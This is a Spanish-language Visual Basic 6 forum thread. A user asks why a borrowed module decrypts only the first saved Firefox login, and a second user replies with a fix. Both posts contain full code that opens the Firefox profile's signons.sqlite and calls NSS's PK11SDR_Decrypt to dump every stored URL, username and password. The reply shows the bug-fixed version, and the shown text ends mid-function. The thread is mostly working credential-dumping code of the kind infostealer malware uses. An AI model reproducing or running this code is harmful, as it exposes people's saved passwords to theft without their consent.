Visual Basic Foro

Programación => Visual Basic 6 => Mensaje iniciado por: 79137913 en Agosto 21, 2013, 02:56:17 pm

Título: COBEIN lee esto por favor...
Publicado por: 79137913 en Agosto 21, 2013, 02:56:17 pm
HOLA!!!

Estoy usando tu ejemplo para "descifrar passwords de FF"
Lo adapte para que funcionara con las nuevas versiones...

Quisiera que me digas si podes, por que el codigo que arme en enumerate solo me descifra el primer Parametro que le paso (el user encriptado que esta en lStatement(x,6)) y luego me repite el resultado siempre :(.

Por que puede ser?

P.d: por cierto, lStatement es una matriz donde esta toda la BD de sqlite.

Código: Visual Basic
  1. '---------------------------------------------------------------------------------------
  2. ' Module      : cFFPD
  3. ' DateTime    : 25/07/2009 05:28
  4. ' Author      : Cobein
  5. ' Mail        : cobein27@hotmail.com
  6. ' WebPage     : http://www.advancevb.com.ar
  7. ' Purpose     : Decrypt firefox 3.5.x passwords
  8. ' Usage       : At your own risk
  9. ' Requirements: None
  10. ' Distribution: You can freely use this code in your own
  11. '               applications, but you may not reproduce
  12. '               or publish this code on any web site,
  13. '               online service, or distribute as source
  14. '               on any media without express permission.
  15. '
  16. ' Reference   : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
  17. '
  18. ' History     : 25/07/2009 First Cut....................................................
  19. '---------------------------------------------------------------------------------------
  20. Option Base 0
  21.  
  22. Private Const CSIDL_PROGRAM_FILES   As Long = &H26
  23. Private Const CSIDL_APPDATA         As Long = &H1A
  24.  
  25. Private Type SHITEMID
  26.     cb              As Long
  27.     abID            As Byte
  28. End Type
  29.  
  30. Private Type TSECItem
  31.     SECItemType     As Long
  32.     SECItemData     As Long
  33.     SECItemLen      As Long
  34. End Type
  35.  
  36. 'API declarations
  37. Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
  38. Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
  39. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
  40. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  41. Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
  42. Private Declare Function GetLastError Lib "kernel32" () As Long
  43. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  44. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  45. Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  46. Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  47. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
  48. Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
  49. Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
  50. Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
  51. Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
  52. Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
  53. Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer
  54.  
  55. '// SQL Lite dll declarations:
  56. Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
  57. Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
  58. Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
  59. Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
  60. Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
  61. ' sqlite_get_table Returns a 2 dimensional array including column headers
  62. Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
  63. Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
  64. ' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array
  65.  
  66. 'Private constants
  67. Private Const ERR_SRC       As String = "cCDECL"    'Error source name
  68. Private Const ERR_NUM       As Long = vbObjectError 'cCDECL error number base
  69. Private Const MAX_ARG       As Long = 16            'Maximum number of parameters, you can change this if required
  70. Private Const PATCH_01      As Long = 15            'CDECL patch, CDECL function address
  71. Private Const PATCH_02      As Long = 10            'Callback patch, bas mod function address patch
  72. Private Const PATCH_03      As Long = 16            'Callback patch, stack adjustment patch
  73. 'Parameter block
  74. Private Type tParamBlock
  75.   ParamCount                As Long                 'Number of parameters to be forwarded to the cdecl function
  76.  Params(0 To MAX_ARG - 1)  As Long                 'Array of parameters to be forwarded to the cdecl function
  77. End Type
  78.  
  79. 'Private variables
  80. Private bNewDLL             As Boolean              'Flag to indicate that the loaded DLL has changed
  81. Private hMod                As Long                 'DLL module handle
  82. Private nAddr               As Long                 'Cache the previous cdecl function's address
  83. Private pCode               As Long                 'Pointer to the CDECL code
  84. Private sLastFunc           As String               'Cache the previous cdecl function's name
  85. Private pb                  As tParamBlock          'Parameter block instance
  86.  
  87. 'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
  88. Private Sub Class_Initialize()
  89.     Dim pMe As Long
  90.  
  91.     'Get the address of my vtable into pMe
  92.    GetMem4 ObjPtr(Me), pMe
  93.  
  94.     'Allocate a page of executable memory
  95.    pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
  96.  
  97.     'Copy the CDECL translation code to memory
  98.    PutMem8 pCode + 0, -208642111809017.9757@
  99.     PutMem8 pCode + 8, -605931634821031.5515@
  100.     PutMem8 pCode + 16, 20765931315670.1386@
  101.     PutMem8 pCode + 24, -857143604525899.4687@
  102.     PutMem4 pCode + 32, &HC2C03102
  103.     PutMem2 pCode + 36, &HC
  104.  
  105.     'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
  106.    PutMem4 pMe + &H1C, pCode
  107.  
  108.     'Copy the callback thunk code to memory
  109.    PutMem8 pCode + 40, 479615108421936.7656@
  110.     PutMem8 pCode + 48, -140483859888551.3191@
  111.     PutMem8 pCode + 56, 99649511.6971@
  112.     PutMem8 pCode + 64, 21442817159.0144@
  113. End Sub
  114.  
  115. Private Sub Class_Terminate()
  116.     'Free virtual memory
  117.    Call FreeLibrary(hMod)
  118.     VirtualFree pCode, 0, &H8000&
  119. End Sub
  120.  
  121. 'This sub is replaced by machine code at pCode at class instance creation...
  122. 'IT MUST ONLY be called internally by CallFunc.
  123. Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
  124. End Function
  125.  
  126. Public Function Enumerate() As String
  127.     Dim sPath       As String
  128.     Dim sFFPath     As String
  129.     Dim lKeySlot     As Long
  130.     Dim lvLibs(20)   As Long
  131.     Dim sRet        As String
  132.    
  133.     Dim tSec        As TSECItem
  134.     Dim tSecDec     As TSECItem
  135.     Dim bvRet()     As Byte
  136.    
  137.     'Dim sPass       As String
  138.    'Dim svEntry()   As String
  139.    'Dim svLines()   As String
  140.    Dim i           As Long
  141.     'Dim j           As Long
  142.    
  143.    
  144.     Dim lDB As Long
  145.     Dim lStatement() As Variant ' As Long
  146.  
  147.     Dim sText As String
  148.    
  149.     On Error Resume Next
  150.    
  151.     sPath = App.Path & "\" 'Environ("PROGRAMFILES") & "\Mozilla Firefox\"
  152.  
  153.     lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
  154.     lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
  155.     lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
  156.     lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
  157.     lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
  158.     lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
  159.     lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
  160.     lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
  161.     lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
  162.     lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
  163.     lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
  164.     lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
  165.     lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
  166.     lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
  167.     lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
  168.     Call DllLoad(sPath & "nss3.dll")
  169.  
  170.     sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
  171.        
  172.     sRet = Space(260)
  173.     Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
  174.     sRet = Left$(sRet, lstrlen(sRet))
  175.  
  176.     Dim DBHANDLE As Long
  177.     Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
  178.     lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")
  179.  
  180.     sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet
  181.  
  182.     bvRet = StrConv(sRet, vbFromUnicode)
  183.     nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
  184.     If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
  185.     If nssinit = 0 Then
  186.         lKeySlot = CallFunc("PK11_GetInternalKeySlot")
  187.         If Not lKeySlot = 0 Then
  188.             If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
  189.                
  190.                 For x = 1 To UBound(lStatement)
  191.                    
  192.                     Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
  193.                    
  194.                     sText = lStatement(x, 6)
  195.                     bvRet = StrConv(sText, vbFromUnicode)
  196.                     Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
  197.                     Debug.Print StrConv(tSec.SECItemData, vbUnicode)
  198.                     If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
  199.                         If tSecDec.SECItemLen > 0 Then
  200.                             ReDim bvRet(tSecDec.SECItemLen - 1)
  201.                             CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
  202.                             Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
  203.                         End If
  204.                     End If
  205.                     ReDim bvRet(0)
  206.                     sText = lStatement(x, 7)
  207.                     bvRet = StrConv(sText, vbFromUnicode)
  208.                     Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
  209.  
  210.                     If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
  211.                         If tSecDec.SECItemLen > 0 Then
  212.                             ReDim bvRet(tSecDec.SECItemLen - 1)
  213.                             CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
  214.                             Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
  215.                         End If
  216.                     End If
  217.                    
  218.                 Next
  219.                
  220.             End If
  221.             Call CallFunc("PK11_FreeSlot", lKeySlot)
  222.         End If
  223.         Call CallFunc("NSS_Shutdown")
  224.     End If
  225.     For i = 0 To 14
  226.         Call FreeLibrary(lvLibs(0))
  227.     Next
  228.    
  229.     'mSqlite.sqlite3_close (lDB)
  230.    'mSqlite.sqlite3_terminate
  231. End Function
  232.  
  233. Private Function GetSpecialfolder(ByVal lFolder As Long) As String
  234.     Dim tSHITEMID As SHITEMID
  235.  
  236.     If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
  237.         GetSpecialfolder = Space$(512)
  238.         Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
  239.         GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
  240.     End If
  241. End Function
  242.  
  243.  
  244. 'Purpose:
  245. ' Call the named cdecl function with the passed parameters
  246. '
  247. 'Arguments:
  248. ' sFunction - Name of the cdecl function to call
  249. ' ParmLongs - ParamArray of parameters to pass to the named cdecl function
  250. '
  251. 'Return:
  252. '  The return value of the named cdecl function
  253. Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
  254.     Dim i As Long
  255.     Dim j As Long
  256.  
  257.     'Check that the DLL is loaded
  258.    If hMod = 0 Then
  259.    
  260.         'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  261.        Debug.Assert False
  262.         Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
  263.     End If
  264.  
  265.     'Check to see if we're calling the same cdecl function as the previous call to CallFunc
  266.    If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
  267.    
  268.         'Get the address of the function
  269.        nAddr = GetProcAddress(hMod, sFunction)
  270.         If nAddr = 0 Then
  271.      
  272.             'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  273.            Debug.Assert False
  274.             Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
  275.         End If
  276.  
  277.         'Patch the code buffer to call the relative address to the cdecl function
  278.        PutMem4 pCode + PATCH_01, nAddr - pCode - (PATCH_01 + 4)
  279.         bNewDLL = False
  280.         sLastFunc = sFunction
  281.     End If
  282.  
  283.     With pb
  284.         j = UBound(ParmLongs)
  285.         If j >= MAX_ARG Then
  286.      
  287.             'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  288.            Debug.Assert False
  289.             Call Err.Raise(ERR_NUM + 2, ERR_SRC, "Too many parameters")
  290.         End If
  291.    
  292.         'Fill the parameter block
  293.        For i = 0 To j
  294.             .Params(i) = ParmLongs(i)
  295.         Next i
  296.    
  297.         .ParamCount = i                                         '(j + 1)
  298.    End With
  299.  
  300.     CallFunc = z_DO_NOT_CALL(VarPtr(pb))                      'Execute the code buffer passing the address of the parameter block
  301.  
  302. End Function
  303.  
  304. 'Load the DLL
  305. Public Function DllLoad(ByVal sName As String) As Boolean
  306.     hMod = LoadLibraryA(sName)
  307.    
  308.  
  309.     If hMod <> 0 Then
  310.         DllLoad = True
  311.         'It's remotely possible that the programmer could change the dll and then call a function
  312.        'in the new dll with exactly the same name as the previous CallFunc to the previous DLL. This would
  313.        'defeat the caching scheme and result in the old function in the old dll being called. An unlikely
  314.        'scenario, but stranger things have happened. Soooo, explicitly indicate that we're using a new dll
  315.        bNewDLL = True
  316.     End If
  317.  
  318.     'If in the IDE just stop on failure, programmer may not be checking the return value.
  319.    Debug.Assert DllLoad
  320. End Function

GRACIAS POR LEER!!!
Título: Re:COBEIN lee esto por favor...
Publicado por: LeandroA en Agosto 22, 2013, 02:11:23 am
Hola que chivo che, estuve tratando de debugearlo y por lo que vi la funcion NSSBase64_DecodeBuffer solo funcionaba una vez y despues de un buen rato di con el motivo

el problema son con los tipos TSECItem, estos antes de ser pasados como parametros deben estar limpios osea sin data, el motivo de que mostraba siempre lo mismo es porque dentro de el bucle quedaba el primer dato.

Código: Visual Basic
  1. '---------------------------------------------------------------------------------------
  2. ' Module      : cFFPD
  3. ' DateTime    : 25/07/2009 05:28
  4. ' Author      : Cobein
  5. ' Mail        : cobein27@hotmail.com
  6. ' WebPage     : http://www.advancevb.com.ar
  7. ' Purpose     : Decrypt firefox 3.5.x passwords
  8. ' Usage       : At your own risk
  9. ' Requirements: None
  10. ' Distribution: You can freely use this code in your own
  11. '               applications, but you may not reproduce
  12. '               or publish this code on any web site,
  13. '               online service, or distribute as source
  14. '               on any media without express permission.
  15. '
  16. ' Reference   : abhe example as reference, original one based on Aphex and CDECL from Paul Caton
  17. '
  18. ' History     : 25/07/2009 First Cut....................................................
  19. '---------------------------------------------------------------------------------------
  20. Option Explicit
  21. Option Base 0
  22.  
  23. Private Const CSIDL_PROGRAM_FILES   As Long = &H26
  24. Private Const CSIDL_APPDATA         As Long = &H1A
  25.  
  26. Private Type SHITEMID
  27.     cb              As Long
  28.     abID            As Byte
  29. End Type
  30.  
  31. Private Type TSECItem
  32.     SECItemType     As Long
  33.     SECItemData     As Long
  34.     SECItemLen      As Long
  35. End Type
  36.  
  37. 'API declarations
  38. Private Declare Function SHGetPathFromIDList Lib "shell32.dll" Alias "SHGetPathFromIDListA" (ByVal pidl As Long, ByVal pszPath As String) As Long
  39. Private Declare Function SHGetSpecialFolderLocation Lib "shell32.dll" (ByVal hwndOwner As Long, ByVal nFolder As Long, pidl As SHITEMID) As Long
  40. Private Declare Function lstrlen Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
  41. Private Declare Function GetPrivateProfileString Lib "kernel32" Alias "GetPrivateProfileStringA" (ByVal lpApplicationName As String, ByVal lpKeyName As Any, ByVal lpDefault As String, ByVal lpReturnedString As String, ByVal nSize As Long, ByVal lpFileName As String) As Long
  42. Private Declare Function FreeLibrary Lib "kernel32" (ByVal hLibModule As Long) As Long
  43. Private Declare Function GetLastError Lib "kernel32" () As Long
  44. Private Declare Function GetProcAddress Lib "kernel32" (ByVal hModule As Long, ByVal lpProcName As String) As Long
  45. Private Declare Function LoadLibraryA Lib "kernel32" (ByVal lpLibFileName As String) As Long
  46. Private Declare Function VirtualAlloc Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal flAllocationType As Long, ByVal flProtect As Long) As Long
  47. Private Declare Function VirtualFree Lib "kernel32" (ByVal lpAddress As Long, ByVal dwSize As Long, ByVal dwFreeType As Long) As Long
  48. Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDst As Any, pSrc As Any, ByVal ByteLen As Long)
  49. Private Declare Sub GetMem4 Lib "msvbvm60" (ByVal Addr As Long, RetVal As Long)
  50. Private Declare Sub PutMem1 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Byte)
  51. Private Declare Sub PutMem2 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Integer)
  52. Private Declare Sub PutMem4 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Long)
  53. Private Declare Sub PutMem8 Lib "msvbvm60" (ByVal Addr As Long, ByVal NewVal As Currency)
  54. Private Declare Function LoadLibrary Lib "kernel32" (ByVal lpFileName As String) As Integer
  55.  
  56. '// SQL Lite dll declarations:
  57. Private Declare Sub sqlite3_open Lib "SQLite3VB.dll" (ByVal Filename As String, ByRef handle As Long)
  58. Private Declare Sub sqlite3_close Lib "SQLite3VB.dll" (ByVal DB_Handle As Long)
  59. Private Declare Function sqlite3_last_insert_rowid Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
  60. Private Declare Function sqlite3_changes Lib "SQLite3VB.dll" (ByVal DB_Handle As Long) As Long
  61. Private Declare Function sqlite_get_table Lib "SQLite3VB.dll" (ByVal DB_Handle As Long, ByVal SQLString As String, ByRef ErrStr As String) As Variant()
  62. ' sqlite_get_table Returns a 2 dimensional array including column headers
  63. Private Declare Function sqlite_libversion Lib "SQLite3VB.dll" () As String ' Now returns a BSTR
  64. Private Declare Function number_of_rows_from_last_call Lib "SQLite3VB.dll" () As Long
  65. ' number_of_rows_from_last_call returns the number of rows from the last sql statement. Use this to ensure you have a valid array
  66.  
  67. 'Private constants
  68. Private Const ERR_SRC       As String = "cCDECL"    'Error source name
  69. Private Const ERR_NUM       As Long = vbObjectError 'cCDECL error number base
  70. Private Const MAX_ARG       As Long = 16            'Maximum number of parameters, you can change this if required
  71. Private Const PATCH_01      As Long = 15            'CDECL patch, CDECL function address
  72. Private Const PATCH_02      As Long = 10            'Callback patch, bas mod function address patch
  73. Private Const PATCH_03      As Long = 16            'Callback patch, stack adjustment patch
  74. 'Parameter block
  75. Private Type tParamBlock
  76.   ParamCount                As Long                 'Number of parameters to be forwarded to the cdecl function
  77.  Params(0 To MAX_ARG - 1)  As Long                 'Array of parameters to be forwarded to the cdecl function
  78. End Type
  79.  
  80. 'Private variables
  81. Private bNewDLL             As Boolean              'Flag to indicate that the loaded DLL has changed
  82. Private hMod                As Long                 'DLL module handle
  83. Private nAddr               As Long                 'Cache the previous cdecl function's address
  84. Private pCode               As Long                 'Pointer to the CDECL code
  85. Private sLastFunc           As String               'Cache the previous cdecl function's name
  86. Private pb                  As tParamBlock          'Parameter block instance
  87.  
  88. 'Replace the stub proc (z_DO_NOT_CALL) with machine-code to handle the cdecl function
  89. Private Sub Class_Initialize()
  90.     Dim pMe As Long
  91.  
  92.     'Get the address of my vtable into pMe
  93.    GetMem4 ObjPtr(Me), pMe
  94.  
  95.     'Allocate a page of executable memory
  96.    pCode = VirtualAlloc(0, &H1000&, &H1000&, &H40&)
  97.  
  98.     'Copy the CDECL translation code to memory
  99.    PutMem8 pCode + 0, -208642111809017.9757@
  100.     PutMem8 pCode + 8, -605931634821031.5515@
  101.     PutMem8 pCode + 16, 20765931315670.1386@
  102.     PutMem8 pCode + 24, -857143604525899.4687@
  103.     PutMem4 pCode + 32, &HC2C03102
  104.     PutMem2 pCode + 36, &HC
  105.  
  106.     'Patch the first vtable entry (z_DO_NOT_CALL) to point to the CDECL code
  107.    PutMem4 pMe + &H1C, pCode
  108.  
  109.     'Copy the callback thunk code to memory
  110.    PutMem8 pCode + 40, 479615108421936.7656@
  111.     PutMem8 pCode + 48, -140483859888551.3191@
  112.     PutMem8 pCode + 56, 99649511.6971@
  113.     PutMem8 pCode + 64, 21442817159.0144@
  114. End Sub
  115.  
  116. Private Sub Class_Terminate()
  117.     'Free virtual memory
  118.    Call FreeLibrary(hMod)
  119.     VirtualFree pCode, 0, &H8000&
  120. End Sub
  121.  
  122. 'This sub is replaced by machine code at pCode at class instance creation...
  123. 'IT MUST ONLY be called internally by CallFunc.
  124. Public Function z_DO_NOT_CALL(ByVal nAddrParamBlock As Long) As Long
  125. End Function
  126.  
  127. Public Function Enumerate() As String
  128.     Dim sPath       As String
  129.     Dim sFFPath     As String
  130.     Dim lKeySlot     As Long
  131.     Dim lvLibs(20)   As Long
  132.     Dim sRet        As String
  133.    
  134.     Dim tSec        As TSECItem
  135.     Dim tSecDec     As TSECItem
  136.     Dim bvRet()     As Byte
  137.     Dim x           As Long
  138.     Dim nssinit     As Long
  139.    
  140.     'Dim sPass       As String
  141.    'Dim svEntry()   As String
  142.    'Dim svLines()   As String
  143.    Dim i           As Long
  144.     'Dim j           As Long
  145.    
  146.    
  147.     Dim lDB As Long
  148.     Dim lStatement() As Variant ' As Long
  149.  
  150.     Dim sText As String
  151.    
  152.     On Error Resume Next
  153.    
  154.     sPath = Environ("PROGRAMFILES") & "\Mozilla Firefox\"
  155.  
  156.     lvLibs(0) = LoadLibraryA(sPath & "AccessibleMarshal.dll")
  157.     lvLibs(1) = LoadLibraryA(sPath & "D3DCompiler_43.dll")
  158.     lvLibs(2) = LoadLibraryA(sPath & "freebl3.dll")
  159.     lvLibs(3) = LoadLibraryA(sPath & "gkmedias.dll")
  160.     lvLibs(4) = LoadLibraryA(sPath & "libEGL.dll")
  161.     lvLibs(5) = LoadLibraryA(sPath & "libGLESv2.dll")
  162.     lvLibs(6) = LoadLibraryA(sPath & "mozalloc.dll")
  163.     lvLibs(7) = LoadLibraryA(sPath & "mozglue.dll")
  164.     lvLibs(8) = LoadLibraryA(sPath & "mozjs.dll")
  165.     lvLibs(9) = LoadLibraryA(sPath & "msvcp100.dll")
  166.     lvLibs(10) = LoadLibraryA(sPath & "msvcr100.dll")
  167.     lvLibs(11) = LoadLibraryA(sPath & "nss3.dll")
  168.     lvLibs(12) = LoadLibraryA(sPath & "nssckbi.dll")
  169.     lvLibs(13) = LoadLibraryA(sPath & "nssdbm3.dll")
  170.     lvLibs(14) = LoadLibraryA(sPath & "softokn3.dll")
  171.     Call DllLoad(sPath & "nss3.dll")
  172.  
  173.     sFFPath = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & "profiles.ini"
  174.        
  175.     sRet = Space(260)
  176.     Call GetPrivateProfileString("Profile0", "Path", vbNullString, sRet, 260, sFFPath)
  177.     sRet = Left$(sRet, lstrlen(sRet))
  178.  
  179.     Dim DBHANDLE As Long
  180.     Call sqlite3_open(GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet & "\signons.sqlite", DBHANDLE)
  181.     lStatement = sqlite_get_table(DBHANDLE, "SELECT * FROM moz_logins", "Error")
  182.  
  183.     sRet = GetSpecialfolder(CSIDL_APPDATA) & "\Mozilla\Firefox\" & sRet
  184.  
  185.     bvRet = StrConv(sRet, vbFromUnicode)
  186.     nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
  187.     If nssinit <> 0 Then nssinit = CallFunc("NSS_Init", StrPtr(bvRet))
  188.     If nssinit = 0 Then
  189.         lKeySlot = CallFunc("PK11_GetInternalKeySlot")
  190.         If Not lKeySlot = 0 Then
  191.             If CallFunc("PK11_Authenticate", lKeySlot, True, 0) = 0 Then
  192.                
  193.                 For x = 1 To UBound(lStatement)
  194.                    
  195.                     Enumerate = Enumerate & " " & "URL: " & lStatement(x, 1) & vbCrLf
  196.                    
  197.                     sText = lStatement(x, 6)
  198.                     bvRet = StrConv(sText, vbFromUnicode)
  199.                     tSec.SECItemData = 0
  200.                     tSec.SECItemLen = 0
  201.                     Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
  202.                     tSecDec.SECItemData = 0
  203.                     tSecDec.SECItemLen = 0
  204.                     If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
  205.                         If tSecDec.SECItemLen > 0 Then
  206.                             ReDim bvRet(tSecDec.SECItemLen - 1)
  207.                             CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
  208.                             Enumerate = Enumerate & " " & "USER: " & StrConv(bvRet, vbUnicode) & vbCrLf
  209.                         End If
  210.                     End If
  211.  
  212.                     sText = lStatement(x, 7)
  213.                     bvRet = StrConv(sText, vbFromUnicode)
  214.                     tSec.SECItemData = 0
  215.                     tSec.SECItemLen = 0
  216.                     Call CallFunc("NSSBase64_DecodeBuffer", 0, VarPtr(tSec), StrPtr(bvRet), Len(sText))
  217.                     tSecDec.SECItemData = 0
  218.                     tSecDec.SECItemLen = 0
  219.                     If CallFunc("PK11SDR_Decrypt", VarPtr(tSec), VarPtr(tSecDec), 0) = 0 Then
  220.                         If tSecDec.SECItemLen > 0 Then
  221.                             ReDim bvRet(tSecDec.SECItemLen - 1)
  222.                             CopyMemory bvRet(0), ByVal tSecDec.SECItemData, tSecDec.SECItemLen
  223.                             Enumerate = Enumerate & " " & "PASS: " & StrConv(bvRet, vbUnicode) & vbCrLf
  224.                         End If
  225.                     End If
  226.                    
  227.                 Next
  228.                
  229.             End If
  230.             Call CallFunc("PK11_FreeSlot", lKeySlot)
  231.         End If
  232.         Call CallFunc("NSS_Shutdown")
  233.     End If
  234.     For i = 0 To 14
  235.         Call FreeLibrary(lvLibs(0))
  236.     Next
  237.    
  238.     'mSqlite.sqlite3_close (lDB)
  239.    'mSqlite.sqlite3_terminate
  240. End Function
  241.  
  242. Private Function GetSpecialfolder(ByVal lFolder As Long) As String
  243.     Dim tSHITEMID As SHITEMID
  244.  
  245.     If SHGetSpecialFolderLocation(0, lFolder, tSHITEMID) = 0 Then
  246.         GetSpecialfolder = Space$(512)
  247.         Call SHGetPathFromIDList(ByVal tSHITEMID.cb, ByVal GetSpecialfolder)
  248.         GetSpecialfolder = Left$(GetSpecialfolder, lstrlen(GetSpecialfolder))
  249.     End If
  250. End Function
  251.  
  252.  
  253. 'Purpose:
  254. ' Call the named cdecl function with the passed parameters
  255. '
  256. 'Arguments:
  257. ' sFunction - Name of the cdecl function to call
  258. ' ParmLongs - ParamArray of parameters to pass to the named cdecl function
  259. '
  260. 'Return:
  261. '  The return value of the named cdecl function
  262. Public Function CallFunc(ByVal sFunction As String, ParamArray ParmLongs() As Variant) As Long
  263.     Dim i As Long
  264.     Dim j As Long
  265.  
  266.     'Check that the DLL is loaded
  267.    If hMod = 0 Then
  268.    
  269.         'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  270.        Debug.Assert False
  271.         Call Err.Raise(ERR_NUM + 0, ERR_SRC, "DLL not loaded")
  272.     End If
  273.  
  274.     'Check to see if we're calling the same cdecl function as the previous call to CallFunc
  275.    If (StrComp(sLastFunc, sFunction) <> 0) Or bNewDLL Then
  276.    
  277.         'Get the address of the function
  278.        nAddr = GetProcAddress(hMod, sFunction)
  279.         If nAddr = 0 Then
  280.      
  281.             'If in the IDE just stop, programmer may have On Error Resume Next protection and miss the problem.
  282.            Debug.Assert False
  283.             Call Err.Raise(ERR_NUM + 1, ERR_SRC, "Failed to locate function: " & sFunction)
  284.         End If
  285.  
  286.         'Patch the code buffer to call the relative address to the cdecl function
